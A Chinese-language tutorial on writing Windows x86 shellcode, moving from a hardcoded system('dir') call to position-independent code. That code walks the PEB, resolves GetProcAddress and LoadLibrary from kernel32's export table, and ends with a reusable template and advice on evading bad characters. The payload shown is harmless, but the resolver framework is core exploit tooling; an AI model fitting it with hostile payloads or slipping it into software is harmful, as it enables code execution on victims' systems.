Windows下Shellcode编写详解
字数 791 2025-08-25 22:59:03

Windows下Shellcode编写详解

概述

Shellcode是二进制安全学习中的重要内容,是漏洞利用的关键部分。本文详细介绍了Windows平台下Shellcode的编写方法,从基础到独立Shellcode的完整实现。

基础Shellcode编写

基本流程

  1. 获取目标函数的内存地址
  2. 将函数调用转换为汇编代码
  3. 处理字符串参数
  4. 调用函数
  5. 恢复堆栈平衡

示例:system("dir")

#include "windows.h"
#include "stdio.h"

int main() {
    HINSTANCE LibHandle = LoadLibrary("msvcrt.dll");
    printf("msvcrt Address = 0x%x \n",LibHandle);
    LPTSTR getaddr = (LPTSTR)GetProcAddress(LibHandle, "system");
    printf("system Address = 0x%x \n", getaddr);
    getchar();
    return 0;
}

汇编实现:

void main() {
    _asm {
        // system("dir");
        push ebp
        mov ebp,esp
        xor ebx,ebx
        push ebx
        mov byte ptr [ebp-04h],64h  ; 'd'
        mov byte ptr [ebp-03h],69h  ; 'i'
        mov byte ptr [ebp-02h],72h  ; 'r'
        lea ebx, [ebp-04h]
        push ebx
        mov ebx,0x74deb16f          ; system函数地址
        call ebx
        add esp,0x4                 ; 恢复堆栈
        pop ebx
        pop ebp
    }
}

优化版本

使用dword操作减少指令数量:

push ebp
mov ebp,esp
sub esp,0x4
xor ebx,ebx
mov ebx,0x00726964  ; 'dir'反转并补零
mov dword ptr[ebp-04h],ebx
lea ebx, [ebp-04h]
push ebx
mov ebx,0x74deb16f
call ebx
add esp,0x4
pop ebx
pop ebp

通用模板

push ebp
mov ebp,esp          ; 保存栈指针
sub esp,0xffffffff   ; 开辟栈空间
xor eax,eax          ; 清零寄存器
push eax             ; 压入通用寄存器
mov dword ptr[ebp-xxxh],eax  ; 参数入栈
lea eax,[ebp-xxxh]   ; 取参数地址入口
push eax
mov eax,0XFFFFFFFF   ; 需要调用的函数地址
call eax             ; 执行函数
add esp,0xffffffff   ; 平衡堆栈
pop eax              ; 恢复寄存器
pop ebp

Shellcode提取

使用VC++6.0调试模式查看机器码,示例提取结果:

unsigned char shellcode[] = 
"\x55\x8B\xEC\x83\xEC\x04\x33\xDB\xBB\x64\x69\x72\x00\x89\x5D\xFC"
"\x8D\x5D\xFC\x53\xBB\x6F\xB1\xDE\x74\xFF\xD3\x83\xC4\x04\x5B\x5D\xC3";

执行方式:

((void (*)())&shellcode)();

独立Shellcode编写

独立Shellcode不依赖外部查找函数地址,能够自动定位所需函数。

核心步骤

  1. 找到kernel32.dll被加载到内存中
  2. 找到其导出表
  3. 找到GetProcAddress函数
  4. 使用GetProcAddress查找LoadLibrary函数地址
  5. 使用LoadLibrary加载动态链接库
  6. 在动态链接库中找到目标函数地址
  7. 调用函数
  8. 查找ExitProcess函数地址
  9. 调用ExitProcess函数

详细实现

1. 查找kernel32.dll基地址

xor ecx, ecx
mov eax, fs:[ecx + 0x30]  ; EAX = PEB
mov eax, [eax + 0xc]      ; EAX = PEB->Ldr
mov esi, [eax + 0x14]     ; ESI = PEB->Ldr.InMemOrder
lodsd                     ; EAX = Second module
xchg eax, esi             ; EAX = ESI, ESI = EAX
lodsd                     ; EAX = Third(kernel32)
mov ebx, [eax + 0x10]     ; EBX = Base address

2. 查找导出表

mov edx, [ebx + 0x3c]     ; EDX = DOS->e_lfanew
add edx, ebx              ; EDX = PE Header
mov edx, [edx + 0x78]     ; EDX = Offset export table
add edx, ebx              ; EDX = Export table
mov esi, [edx + 0x20]     ; ESI = Offset names table
add esi, ebx              ; ESI = Names table
xor ecx, ecx              ; EXC = 0

3. 查找GetProcAddress

Get_Function:
    inc ecx               ; Increment the ordinal
    lodsd                 ; Get name offset
    add eax, ebx          ; Get function name
    cmp dword ptr[eax], 0x50746547  ; 'GetP'
    jnz Get_Function
    cmp dword ptr[eax + 0x4], 0x41636f72  ; 'rocA'
    jnz Get_Function
    cmp dword ptr[eax + 0x8], 0x65726464  ; 'ddre'
    jnz Get_Function
    
    mov esi, [edx + 0x24] ; ESI = Offset ordinals
    add esi, ebx          ; ESI = Ordinals table
    mov cx, [esi + ecx * 2] ; CX = Number of function
    dec ecx
    mov esi, [edx + 0x1c] ; ESI = Offset address table
    add esi, ebx          ; ESI = Address table
    mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
    add edx, ebx          ; EDX = GetProcAddress

4. 获取LoadLibraryA地址

xor ecx, ecx              ; ECX = 0
push ebx                  ; Kernel32 base address
push edx                  ; GetProcAddress
push ecx                  ; 0
push 0x41797261           ; 'aryA'
push 0x7262694c           ; 'Libr'
push 0x64616f4c           ; 'Load'
push esp                  ; "LoadLibrary"
push ebx                  ; Kernel32 base address
call edx                  ; GetProcAddress(LL)
add esp, 0xc              ; pop "LoadLibrary"

5. 加载msvcrt.dll

pop ecx                   ; ECX = 0
push eax                  ; EAX = LoadLibrary
push ecx
mov cx, 0x6c6c            ; 'll'
push ecx
push 0x642e7472           ; 'rt.d'
push 0x6376736d           ; 'msvc'
push esp                  ; "msvcrt.dll"
call eax                  ; LoadLibrary("msvcrt.dll")

6. 获取system函数地址

add esp, 0x10             ; Clean stack
mov edx, [esp + 0x4]      ; EDX = GetProcAddress
xor ecx, ecx              ; ECX = 0
push ecx                  ; 73797374 656d
mov ecx,0x61626d65        ; 'emba'
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove 'a'
sub dword ptr[esp + 0x2], 0x62 ; Remove 'b'
push 0x74737973           ; 'syst'
push esp                  ; "system"
push eax                  ; msvcrt.dll address
call edx                  ; GetProc(system)

7. 调用system函数

add esp, 0x10             ; Cleanup stack
push ebp
mov ebp,esp
sub esp,0x4               ; 准备空间
xor esi,esi
mov esi,0x00726964        ; 'dir'
mov dword ptr[ebp-04h],esi
lea esi, [ebp-04h]
push esi
call eax                  ; system("dir")
add esp, 0x8              ; Clean stack
pop esi

8. 获取ExitProcess地址

pop edx                   ; GetProcAddress
pop ebx                   ; kernel32.dll base address
mov ecx, 0x61737365       ; 'essa'
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove 'a'
push 0x636f7250           ; 'Proc'
push 0x74697845           ; 'Exit'
push esp
push ebx                  ; kernel32.dll base address
call edx                  ; GetProc(Exec)

9. 调用ExitProcess

xor ecx, ecx              ; ECX = 0
push ecx                  ; Return code = 0
call eax                  ; ExitProcess

独立Shellcode框架

; 查找kernel32.dll和GetProcAddress
xor ecx, ecx
mov eax, fs:[ecx + 0x30]
[...查找过程...]
mov edx, [esi + ecx * 4]
add edx, ebx              ; EDX = GetProcAddress

; 获取LoadLibraryA
xor ecx, ecx
push ebx
[...获取过程...]
call edx                  ; GetProcAddress(LL)
add esp, 0xc

; 加载DLL
pop ecx
push eax
; DLL文件字符串
; push 0xffffffff
push esp                  ; "xxx.dll"
call eax                  ; LoadLibrary

; 查找目标函数
add esp, 0xff
mov edx, [esp + 0x4]
; 函数字符串
; push 0xffffffff
push esp                  ; "xxx函数"
push eax                  ; xxx.dll address
call edx                  ; GetProc(xxx函数)

; 执行核心程序
[...Shellcode利用程序...]

; 退出程序
pop edx
pop ebx
mov ecx, 0x61737365
[...ExitProcess调用...]

结语

Shellcode编写需要掌握PE结构、函数调用约定和汇编语言。本文从基础到独立Shellcode的实现,提供了完整的编写框架。实际应用中还需要考虑:

  1. 避免坏字符(如\x00)
  2. 优化Shellcode大小
  3. 多平台兼容性
  4. 编码/解码技术

推荐工具:shellen

Windows下Shellcode编写详解 概述 Shellcode是二进制安全学习中的重要内容,是漏洞利用的关键部分。本文详细介绍了Windows平台下Shellcode的编写方法,从基础到独立Shellcode的完整实现。 基础Shellcode编写 基本流程 获取目标函数的内存地址 将函数调用转换为汇编代码 处理字符串参数 调用函数 恢复堆栈平衡 示例:system("dir") 汇编实现: 优化版本 使用dword操作减少指令数量: 通用模板 Shellcode提取 使用VC++6.0调试模式查看机器码,示例提取结果: 执行方式: 独立Shellcode编写 独立Shellcode不依赖外部查找函数地址,能够自动定位所需函数。 核心步骤 找到kernel32.dll被加载到内存中 找到其导出表 找到GetProcAddress函数 使用GetProcAddress查找LoadLibrary函数地址 使用LoadLibrary加载动态链接库 在动态链接库中找到目标函数地址 调用函数 查找ExitProcess函数地址 调用ExitProcess函数 详细实现 1. 查找kernel32.dll基地址 2. 查找导出表 3. 查找GetProcAddress 4. 获取LoadLibraryA地址 5. 加载msvcrt.dll 6. 获取system函数地址 7. 调用system函数 8. 获取ExitProcess地址 9. 调用ExitProcess 独立Shellcode框架 结语 Shellcode编写需要掌握PE结构、函数调用约定和汇编语言。本文从基础到独立Shellcode的实现,提供了完整的编写框架。实际应用中还需要考虑: 避免坏字符(如\x00) 优化Shellcode大小 多平台兼容性 编码/解码技术 推荐工具: shellen